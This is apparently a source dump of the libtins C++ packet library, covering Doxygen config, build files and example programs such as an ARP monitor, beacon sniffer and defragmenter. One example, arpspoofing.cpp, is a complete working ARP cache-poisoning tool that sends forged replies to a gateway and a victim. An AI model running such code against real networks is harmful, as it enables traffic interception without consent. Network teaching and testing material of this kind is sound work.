#--------------------------------------------------------------------------- # If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will # generate an AutoGen Definitions (see autogen.sf.net) file # that captures the structure of the code including all # documentation. Note that this feature is still experimental # and incomplete at the moment. GENERATE_AUTOGEN_DEF = NO #--------------------------------------------------------------------------- # configuration options related to the Perl module output #--------------------------------------------------------------------------- # If the GENERATE_PERLMOD tag is set to YES Doxygen will # generate a Perl module file that captures the structure of # the code including all documentation. Note that this # feature is still experimental and incomplete at the # moment. GENERATE_PERLMOD = NO # If the PERLMOD_LATEX tag is set to YES Doxygen will generate # the necessary Makefile rules, Perl scripts and LaTeX code to be able # to generate PDF and DVI output from the Perl module output. PERLMOD_LATEX = NO # If the PERLMOD_PRETTY tag is set to YES the Perl module output will be # nicely formatted so it can be parsed by a human reader. # This is useful # if you want to understand what is going on. # On the other hand, if this # tag is set to NO the size of the Perl module output will be much smaller # and Perl will parse it just the same. PERLMOD_PRETTY = YES # The names of the make variables in the generated doxyrules.make file # are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. # This is useful so different doxyrules.make files included by the same # Makefile don't overwrite each other's variables. PERLMOD_MAKEVAR_PREFIX = #--------------------------------------------------------------------------- # Configuration options related to the preprocessor #--------------------------------------------------------------------------- # If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will # evaluate all C-preprocessor directives found in the sources and include # files. ENABLE_PREPROCESSING = YES # If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro # names in the source code. If set to NO (the default) only conditional # compilation will be performed. Macro expansion can be done in a controlled # way by setting EXPAND_ONLY_PREDEF to YES. MACRO_EXPANSION = NO # If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES # then the macro expansion is limited to the macros specified with the # PREDEFINED and EXPAND_AS_DEFINED tags. EXPAND_ONLY_PREDEF = NO # If the SEARCH_INCLUDES tag is set to YES (the default) the includes files # in the INCLUDE_PATH (see below) will be search if a #include is found. SEARCH_INCLUDES = YES # The INCLUDE_PATH tag can be used to specify one or more directories that # contain include files that are not input files but should be processed by # the preprocessor. INCLUDE_PATH = # You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard # patterns (like *.h and *.hpp) to filter out the header-files in the # directories. If left blank, the patterns specified with FILE_PATTERNS will # be used. INCLUDE_FILE_PATTERNS = # The PREDEFINED tag can be used to specify one or more macro names that # are defined before the preprocessor is started (similar to the -D option of # gcc). The argument of the tag is a list of macros of the form: name # or name=definition (no spaces). If the definition and the = are # omitted =1 is assumed. To prevent a macro definition from being # undefined via #undef or recursively expanded use the := operator # instead of the = operator. PREDEFINED = "TINS_IS_CXX11=1" \ "TINS_HAVE_WPA2_CALLBACKS=1" # If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then # this tag can be used to specify a list of macro names that should be expanded. # The macro definition that is found in the sources will be used. # Use the PREDEFINED tag if you want to use a different macro definition. EXPAND_AS_DEFINED = # If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then # doxygen's preprocessor will remove all function-like macros that are alone # on a line, have an all uppercase name, and do not end with a semicolon. Such # function macros are typically used for boiler-plate code, and will confuse # the parser if not removed. SKIP_FUNCTION_MACROS = YES #--------------------------------------------------------------------------- # Configuration::additions related to external references #--------------------------------------------------------------------------- # The TAGFILES option can be used to specify one or more tagfiles. # Optionally an initial location of the external documentation # can be added for each tagfile. The format of a tag file without # this location is as follows: # # TAGFILES = file1 file2 ... # Adding location for the tag files is done as follows: # # TAGFILES = file1=loc1 "file2 = loc2" ... # where "loc1" and "loc2" can be relative or absolute paths or # URLs. If a location is present for each tag, the installdox tool # does not have to be run to correct the links. # Note that each tag file must have a unique name # (where the name does NOT include the path) # If a tag file is not located in the directory in which doxygen # is run, you must also specify the path to the tagfile here. TAGFILES = # When a file name is specified after GENERATE_TAGFILE, doxygen will create # a tag file that is based on the input files it reads. GENERATE_TAGFILE = # If the ALLEXTERNALS tag is set to YES all external classes will be listed # in the class index. If set to NO only the inherited external classes # will be listed. ALLEXTERNALS = NO # If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed # in the modules index. If set to NO, only the current project's groups will # be listed. EXTERNAL_GROUPS = YES # The PERL_PATH should be the absolute path and name of the perl script # interpreter (i.e. the result of `which perl'). PERL_PATH = /usr/bin/perl #--------------------------------------------------------------------------- # Configuration options related to the dot tool #--------------------------------------------------------------------------- # If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will # generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base # or super classes. Setting the tag to NO turns the diagrams off. Note that # this option is superseded by the HAVE_DOT option below. This is only a # fallback. It is recommended to install and use dot, since it yields more # powerful graphs. CLASS_DIAGRAMS = YES # You can define message sequence charts within doxygen comments using the \msc # command. Doxygen will then run the mscgen tool (see # http://www.mcternan.me.uk/mscgen/) to produce the chart and insert it in the # documentation. The MSCGEN_PATH tag allows you to specify the directory where # the mscgen tool resides. If left empty the tool is assumed to be found in the # default search path. MSCGEN_PATH = # If set to YES, the inheritance and collaboration graphs will hide # inheritance and usage relations if the target is undocumented # or is not a class. HIDE_UNDOC_RELATIONS = YES # If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is # available from the path. This tool is part of Graphviz, a graph visualization # toolkit from AT&T and Lucent Bell Labs. The other options in this section # have no effect if this option is set to NO (the default) HAVE_DOT = NO # The DOT_NUM_THREADS specifies the number of dot invocations doxygen is # allowed to run in parallel. When set to 0 (the default) doxygen will # base this on the number of processors available in the system. You can set it # explicitly to a value larger than 0 to get control over the balance # between CPU load and processing speed. DOT_NUM_THREADS = 0 # By default doxygen will write a font called FreeSans.ttf to the output # directory and reference it in all dot files that doxygen generates. This # font does not include all possible unicode characters however, so when you need # these (or just want a differently looking font) you can specify the font name # using DOT_FONTNAME. You need need to make sure dot is able to find the font, # which can be done by putting it in a standard location or by setting the # DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory # containing the font. DOT_FONTNAME = FreeSans.ttf # The DOT_FONTSIZE tag can be used to set the size of the font of dot graphs. # The default size is 10pt. DOT_FONTSIZE = 10 # By default doxygen will tell dot to use the output directory to look for the # FreeSans.ttf font (which doxygen will put there itself). If you specify a # different font using DOT_FONTNAME you can set the path where dot # can find it using this tag. DOT_FONTPATH = # If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen # will generate a graph for each documented class showing the direct and # indirect inheritance relations. Setting this tag to YES will force the # the CLASS_DIAGRAMS tag to NO. CLASS_GRAPH = YES # If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen # will generate a graph for each documented class showing the direct and # indirect implementation dependencies (inheritance, containment, and # class references variables) of the class with other documented classes. COLLABORATION_GRAPH = YES # If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen # will generate a graph for groups, showing the direct groups dependencies GROUP_GRAPHS = YES # If the UML_LOOK tag is set to YES doxygen will generate inheritance and # collaboration diagrams in a style similar to the OMG's Unified Modeling # Language. UML_LOOK = NO # If set to YES, the inheritance and collaboration graphs will show the # relations between templates and their instances. TEMPLATE_RELATIONS = NO # If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT # tags are set to YES then doxygen will generate a graph for each documented # file showing the direct and indirect include dependencies of the file with # other documented files. INCLUDE_GRAPH = YES # If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and # HAVE_DOT tags are set to YES then doxygen will generate a graph for each # documented header file showing the documented files that directly or # indirectly include this file. INCLUDED_BY_GRAPH = YES # If the CALL_GRAPH and HAVE_DOT options are set to YES then # doxygen will generate a call dependency graph for every global function # or class method. Note that enabling this option will significantly increase # the time of a run. So in most cases it will be better to enable call graphs # for selected functions only using the \callgraph command. CALL_GRAPH = NO # If the CALLER_GRAPH and HAVE_DOT tags are set to YES then # doxygen will generate a caller dependency graph for every global function # or class method. Note that enabling this option will significantly increase # the time of a run. So in most cases it will be better to enable caller # graphs for selected functions only using the \callergraph command. CALLER_GRAPH = NO # If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen # will graphical hierarchy of all classes instead of a textual one. GRAPHICAL_HIERARCHY = YES # If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES # then doxygen will show the dependencies a directory has on other directories # in a graphical way. The dependency relations are determined by the #include # relations between the files in the directories. DIRECTORY_GRAPH = YES # The DOT_IMAGE_FORMAT tag can be used to set the image format of the images # generated by dot. Possible values are png, jpg, or gif # If left blank png will be used. DOT_IMAGE_FORMAT = png # The tag DOT_PATH can be used to specify the path where the dot tool can be # found. If left blank, it is assumed the dot tool can be found in the path. DOT_PATH = # The DOTFILE_DIRS tag can be used to specify one or more directories that # contain dot files that are included in the documentation (see the # \dotfile command). DOTFILE_DIRS = # The DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of # nodes that will be shown in the graph. If the number of nodes in a graph # becomes larger than this value, doxygen will truncate the graph, which is # visualized by representing a node as a red box. Note that doxygen if the # number of direct children of the root node in a graph is already larger than # DOT_GRAPH_MAX_NODES then the graph will not be shown at all. Also note # that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. DOT_GRAPH_MAX_NODES = 50 # The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the # graphs generated by dot. A depth value of 3 means that only nodes reachable # from the root by following a path via at most 3 edges will be shown. Nodes # that lay further from the root node will be omitted. Note that setting this # option to 1 or 2 may greatly reduce the computation time needed for large # code bases. Also note that the size of a graph can be further restricted by # DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. MAX_DOT_GRAPH_DEPTH = 0 # Set the DOT_TRANSPARENT tag to YES to generate images with a transparent # background. This is disabled by default, because dot on Windows does not # seem to support this out of the box. Warning: Depending on the platform used, # enabling this option may lead to badly anti-aliased labels on the edges of # a graph (i.e. they become hard to read). DOT_TRANSPARENT = NO # Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output # files in one run (i.e. multiple -o and -T options on the command line). This # makes dot run faster, but since only newer versions of dot (>1.8.10) # support this, this feature is disabled by default. DOT_MULTI_TARGETS = YES # If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will # generate a legend page explaining the meaning of the various boxes and # arrows in the dot generated graphs. GENERATE_LEGEND = YES # If the DOT_CLEANUP tag is set to YES (the default) Doxygen will # remove the intermediate dot files that are used to generate # the various graphs. DOT_CLEANUP = YES libtins-3.4/docs/mainpage.dox000066400000000000000000000017471267017344500162730ustar00rootroot00000000000000/** * \mainpage Documentation * * \section intro_sec Introduction * * libtins is a high-level, multiplatform C++ network packet * sniffing and crafting library. * * Its main purpose is to provide the C++ developer an easy, efficient, * platform and endianess-independent way to create tools which need to * send, receive and manipulate network packets. * * \section install_sec Installation * * Please visit the downloads * section in order to see the installation instructions. * * \section tutorials_sec Tutorials * * If you want to learn about how the library works, please visit the * tutorials section. * * \section examples_sec Examples * * Make sure to visit the * examples section to see some short but illustrative examples on how * to send and sniff packets using libtins. * */ libtins-3.4/examples/000077500000000000000000000000001267017344500146535ustar00rootroot00000000000000libtins-3.4/examples/CMakeLists.txt000066400000000000000000000053621267017344500174210ustar00rootroot00000000000000FIND_PACKAGE(Threads QUIET) FIND_PACKAGE(Boost COMPONENTS regex) SET(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/examples) INCLUDE_DIRECTORIES( ${CMAKE_CURRENT_SOURCE_DIR}/../include ${PCAP_INCLUDE_DIR} ) LINK_LIBRARIES(tins) IF(TINS_HAVE_CXX11) SET(LIBTINS_CXX11_EXAMPLES arpmonitor dns_queries dns_spoof dns_stats stream_dump icmp_responses interfaces_info tcp_connection_close traceroute wps_detect ) IF(Boost_REGEX_FOUND) SET(LIBTINS_CXX11_EXAMPLES ${LIBTINS_CXX11_EXAMPLES} http_requests) ELSE() MESSAGE(WARNING "Disabling HTTP requests example since boost.regex was not found") ENDIF() ELSE(TINS_HAVE_CXX11) MESSAGE(WARNING "Disabling some examples since C++11 support is disabled.") ENDIF(TINS_HAVE_CXX11) ADD_CUSTOM_TARGET( examples DEPENDS arpspoofing ${LIBTINS_CXX11_EXAMPLES} beacon_display portscan route_table defragmenter ) # Make sure we first build libtins ADD_DEPENDENCIES(examples tins) ADD_EXECUTABLE(arpspoofing EXCLUDE_FROM_ALL arpspoofing.cpp) ADD_EXECUTABLE(route_table EXCLUDE_FROM_ALL route_table.cpp) ADD_EXECUTABLE(defragmenter EXCLUDE_FROM_ALL defragmenter.cpp) IF(TINS_HAVE_CXX11) ADD_EXECUTABLE(arpmonitor EXCLUDE_FROM_ALL arpmonitor.cpp) ADD_EXECUTABLE(dns_queries EXCLUDE_FROM_ALL dns_queries.cpp) ADD_EXECUTABLE(dns_spoof EXCLUDE_FROM_ALL dns_spoof.cpp) ADD_EXECUTABLE(stream_dump EXCLUDE_FROM_ALL stream_dump.cpp) ADD_EXECUTABLE(icmp_responses EXCLUDE_FROM_ALL icmp_responses.cpp) ADD_EXECUTABLE(interfaces_info EXCLUDE_FROM_ALL interfaces_info.cpp) ADD_EXECUTABLE(tcp_connection_close EXCLUDE_FROM_ALL tcp_connection_close.cpp) ADD_EXECUTABLE(wps_detect EXCLUDE_FROM_ALL wps_detect.cpp) IF (Boost_REGEX_FOUND) ADD_EXECUTABLE(http_requests EXCLUDE_FROM_ALL http_requests.cpp) TARGET_LINK_LIBRARIES(http_requests ${Boost_LIBRARIES}) ENDIF() ENDIF(TINS_HAVE_CXX11) ADD_EXECUTABLE(beacon_display EXCLUDE_FROM_ALL beacon_display.cpp) if(THREADS_FOUND) IF(TINS_HAVE_CXX11) ADD_EXECUTABLE(traceroute EXCLUDE_FROM_ALL traceroute.cpp) ADD_EXECUTABLE(dns_stats EXCLUDE_FROM_ALL dns_stats.cpp) TARGET_LINK_LIBRARIES(traceroute ${CMAKE_THREAD_LIBS_INIT}) TARGET_LINK_LIBRARIES(dns_stats ${CMAKE_THREAD_LIBS_INIT}) ENDIF(TINS_HAVE_CXX11) IF(WIN32) MESSAGE(WARNING "Disabling portscan example since it doesn't compile on Windows.") ELSE() ADD_EXECUTABLE(portscan EXCLUDE_FROM_ALL portscan.cpp) TARGET_LINK_LIBRARIES(portscan ${CMAKE_THREAD_LIBS_INIT}) ENDIF() ELSE() MESSAGE(WARNING "Disabling portscan and traceroute examples since pthreads library was not found.") ENDIF() libtins-3.4/examples/arpmonitor.cpp000066400000000000000000000066401267017344500175570ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include using std::cout; using std::endl; using std::map; using std::bind; using namespace Tins; class arp_monitor { public: void run(Sniffer& sniffer); private: bool callback(const PDU& pdu); map> addresses; }; void arp_monitor::run(Sniffer& sniffer) { sniffer.sniff_loop( bind( &arp_monitor::callback, this, std::placeholders::_1 ) ); } bool arp_monitor::callback(const PDU& pdu) { // Retrieve the ARP layer const ARP& arp = pdu.rfind_pdu(); // Is it an ARP reply? if (arp.opcode() == ARP::REPLY) { // Let's check if there's already an entry for this address auto iter = addresses.find(arp.sender_ip_addr()); if (iter == addresses.end()) { // We haven't seen this address. Save it. addresses.insert({ arp.sender_ip_addr(), arp.sender_hw_addr()}); cout << "[INFO] " << arp.sender_ip_addr() << " is at " << arp.sender_hw_addr() << std::endl; } else { // We've seen this address. If it's not the same HW address, inform it if (arp.sender_hw_addr() != iter->second) { cout << "[WARNING] " << arp.sender_ip_addr() << " is at " << iter->second << " but also at " << arp.sender_hw_addr() << endl; } } } return true; } int main(int argc, char* argv[]) { if(argc != 2) { cout << "Usage: " <<* argv << " " << endl; return 1; } arp_monitor monitor; // Sniffer configuration SnifferConfiguration config; config.set_promisc_mode(true); config.set_filter("arp"); try { // Sniff on the provided interface in promiscuous mode Sniffer sniffer(argv[1], config); // Only capture arp packets monitor.run(sniffer); } catch (std::exception& ex) { std::cerr << "Error: " << ex.what() << std::endl; } } libtins-3.4/examples/arpspoofing.cpp000066400000000000000000000106341267017344500177120ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include #ifdef _WIN32 #define WIN32_LEAN_AND_MEAN #include #else #include #endif // _WIN32 #include #include #include #include #include using std::cout; using std::runtime_error; using std::endl; using namespace Tins; void do_arp_spoofing(NetworkInterface iface, IPv4Address gw, IPv4Address victim, const NetworkInterface::Info& info) { PacketSender sender; EthernetII::address_type gw_hw, victim_hw; // Resolves gateway's hardware address. gw_hw = Utils::resolve_hwaddr(iface, gw, sender); // Resolves victim's hardware address. victim_hw = Utils::resolve_hwaddr(iface, victim, sender); // Print out the hw addresses we're using. cout << " Using gateway hw address: " << gw_hw << "\n"; cout << " Using victim hw address: " << victim_hw << "\n"; cout << " Using own hw address: " << info.hw_addr << "\n"; /* We tell the gateway that the victim is at out hw address, * and tell the victim that the gateway is at out hw address */ ARP gw_arp(gw, victim, gw_hw, info.hw_addr), victim_arp(victim, gw, victim_hw, info.hw_addr); // We are "replying" ARP requests gw_arp.opcode(ARP::REPLY); victim_arp.opcode(ARP::REPLY); /* The packet we'll send to the gateway and victim. * We include our hw address as the source address * in ethernet layer, to avoid possible packet dropping * performed by any routers. */ EthernetII to_gw = EthernetII(gw_hw, info.hw_addr) / gw_arp; EthernetII to_victim = EthernetII(victim_hw, info.hw_addr) / victim_arp; while (true) { // Just send them once every 5 seconds. sender.send(to_gw, iface); sender.send(to_victim, iface); #ifdef _WIN32 Sleep(5); #else sleep(5); #endif } } int main(int argc, char* argv[]) { if (argc != 3) { cout << "Usage: " <<* argv << " " << endl; return 1; } IPv4Address gw, victim; EthernetII::address_type own_hw; try { // Convert dotted-notation ip addresses to integer. gw = argv[1]; victim = argv[2]; } catch (...) { cout << "Invalid ip found...\n"; return 2; } NetworkInterface iface; NetworkInterface::Info info; try { // Get the interface which will be the gateway for our requests. iface = gw; // Lookup the interface id. This will be required while forging packets. // Find the interface hardware and ip address. info = iface.addresses(); } catch (runtime_error& ex) { cout << ex.what() << endl; return 3; } try { do_arp_spoofing(iface, gw, victim, info); } catch (runtime_error& ex) { cout << "Runtime error: " << ex.what() << endl; return 7; } } libtins-3.4/examples/beacon_display.cpp000066400000000000000000000064521267017344500203420ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include using std::set; using std::cout; using std::endl; using std::string; using std::runtime_error; using namespace Tins; class BeaconSniffer { public: void run(const string& iface); private: typedef Dot11::address_type address_type; typedef set ssids_type; bool callback(PDU& pdu); ssids_type ssids; }; void BeaconSniffer::run(const std::string& iface) { SnifferConfiguration config; config.set_promisc_mode(true); config.set_filter("type mgt subtype beacon"); config.set_rfmon(true); Sniffer sniffer(iface, config); sniffer.sniff_loop(make_sniffer_handler(this, &BeaconSniffer::callback)); } bool BeaconSniffer::callback(PDU& pdu) { // Get the Dot11 layer const Dot11Beacon& beacon = pdu.rfind_pdu(); // All beacons must have from_ds == to_ds == 0 if (!beacon.from_ds() && !beacon.to_ds()) { // Get the AP address address_type addr = beacon.addr2(); // Look it up in our set ssids_type::iterator it = ssids.find(addr); if (it == ssids.end()) { // First time we encounter this BSSID. try { /* If no ssid option is set, then Dot11::ssid will throw * a std::runtime_error. */ string ssid = beacon.ssid(); // Save it so we don't show it again. ssids.insert(addr); // Display the tuple "address - ssid". cout << addr << " - " << ssid << endl; } catch (runtime_error&) { // No ssid, just ignore it. } } } return true; } int main(int argc, char* argv[]) { if (argc != 2) { cout << "Usage: " <<* argv << " " << endl; return 1; } string interface = argv[1]; BeaconSniffer sniffer; sniffer.run(interface); } libtins-3.4/examples/defragmenter.cpp000066400000000000000000000076251267017344500200340ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include "tins/ip.h" #include "tins/ip_reassembler.h" #include "tins/sniffer.h" #include "tins/packet_writer.h" using std::cout; using std::cerr; using std::endl; using std::string; using std::exception; using Tins::IPv4Reassembler; using Tins::IP; using Tins::Packet; using Tins::FileSniffer; using Tins::PacketWriter; using Tins::DataLinkType; // This example reads packets from a pcap file and writes them to a new file. // If any IPv4 fragmented packets are found in the input file, then they will // be reassembled before writing them, so instead of the individual fragments // it will write the whole packet. class Defragmenter { public: // Construct the sniffer and the packet writer using the sniffer's // data link type Defragmenter(const string& input_file, const string& output_file) : sniffer_(input_file), writer_(output_file, (PacketWriter::LinkType)sniffer_.link_type()), total_reassembled_(0) { } void run() { Packet packet; // Read packets and keep going until there's no more packets to read while (packet = sniffer_.next_packet()) { // Try to reassemble the packet IPv4Reassembler::PacketStatus status = reassembler_.process(*packet.pdu()); // If we did reassemble it, increase this counter if (status == IPv4Reassembler::REASSEMBLED) { total_reassembled_++; } // Regardless, we'll write it into the output file unless it's fragmented // (and not yet reassembled) if (status != IPv4Reassembler::FRAGMENTED) { writer_.write(packet); } } } uint64_t total_packets_reassembled() const { return total_reassembled_; } private: FileSniffer sniffer_; IPv4Reassembler reassembler_; PacketWriter writer_; uint64_t total_reassembled_; }; int main(int argc, char* argv[]) { if (argc != 3) { cout << "Usage: " << argv[0] << " " << endl; return 1; } try { // Build the defragmented Defragmenter defragmenter(argv[1], argv[2]); cout << "Processing " << argv[1] << endl; cout << "Writing results to " << argv[2] << endl; // Run! defragmenter.run(); cout << "Done" << endl; cout << "Reassembled: " << defragmenter.total_packets_reassembled() << " packet(s)" << endl; } catch (exception& ex) { cerr << "Error: " << ex.what() << endl; } } libtins-3.4/examples/dns_queries.cpp000066400000000000000000000045321267017344500177040ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include using std::cout; using std::endl; using namespace Tins; bool callback(const PDU& pdu) { // The packet probably looks like this: // // EthernetII / IP / UDP / RawPDU // // So we retrieve the RawPDU layer, and construct a // DNS PDU using its contents. DNS dns = pdu.rfind_pdu().to(); // Retrieve the queries and print the domain name: for (const auto& query : dns.queries()) { cout << query.dname() << std::endl; } return true; } int main(int argc, char* argv[]) { if(argc != 2) { cout << "Usage: " <<* argv << " " << endl; return 1; } // Sniff on the provided interface in promiscuos mode SnifferConfiguration config; config.set_promisc_mode(true); // Only capture udp packets sent to port 53 config.set_filter("udp and dst port 53"); Sniffer sniffer(argv[1], config); // Start the capture sniffer.sniff_loop(callback); } libtins-3.4/examples/dns_spoof.cpp000066400000000000000000000071461267017344500173610ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE 